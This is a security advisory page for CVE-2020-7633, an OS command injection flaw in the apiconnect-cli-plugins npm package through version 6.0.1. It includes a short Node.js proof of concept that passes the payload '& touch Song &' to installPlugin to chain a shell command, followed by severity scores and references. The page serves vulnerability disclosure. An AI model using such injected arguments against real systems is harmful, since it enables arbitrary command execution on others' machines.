Ecosyste.ms: Advisories

Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWM5bTktNDhwdy02bXB2

apiconnect-cli-plugins vulnerable to OS Command Injection

apiconnect-cli-plugins through 6.0.1 is vulnerable to Command Injection. It allows execution of arbitrary commands via the pluginUri argument.

PoC

var root = require("apiconnect-cli-plugins");
var payload = "& touch Song &";
root.pluginLoader.installPlugin(payload, "");

The injection point is located in line 181 of file lib/plugin-loader.js, in the function installPlugin(pluginUri, registryUri).

Permalink: https://github.com/advisories/GHSA-c9m9-48pw-6mpv
JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWM5bTktNDhwdy02bXB2
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Critical
Classification: General
Published: almost 3 years ago
Updated: 7 months ago

CVSS Score: 9.8
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Identifiers: GHSA-c9m9-48pw-6mpv, CVE-2020-7633
References:

• https://nvd.nist.gov/vuln/detail/CVE-2020-7633
• https://snyk.io/vuln/SNYK-JS-APICONNECTCLIPLUGINS-564427
• https://web.archive.org/web/20211209115530/https://openbase.com/js/apiconnect-cli-plugins
• https://github.com/advisories/GHSA-c9m9-48pw-6mpv

Blast Radius: 0.0

Affected Packages